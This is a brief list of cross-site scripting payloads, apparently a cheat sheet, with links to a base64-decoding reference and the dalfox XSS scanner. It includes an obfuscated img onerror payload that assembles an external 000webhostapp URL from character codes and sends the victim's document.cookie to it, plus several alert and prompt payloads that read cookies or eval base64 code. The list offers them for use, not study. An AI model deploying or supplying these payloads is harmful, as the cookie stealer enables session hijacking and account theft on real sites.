<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>https://www.w3schools.com/jsref/met_win_atob.asp
\"><img src=1 onerror=\"url=String['fromCharCode'](104,116,116,112,115,58,47,47,103,97,116,111,108,111,117,99,111,46,48,48,48,119,101,98,104,111,115,116,97,112,112,46,99,111,109,47,99,115,109,111,110,101,121,47,105,110,100,101,120,46,112,104,112,63,116,111,107,101,110,115,61)+encodeURIComponent(document['cookie']);xhttp= new XMLHttpRequest();xhttp['open']('GET',url,true);xhttp['send']();<video controls oncanplay="alert(document.cookie)"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<img src="test" OnError=prompt(document.cookie)>
<img src=x onerror=alert(document.cookie)>https://github.com/hahwul/dalfox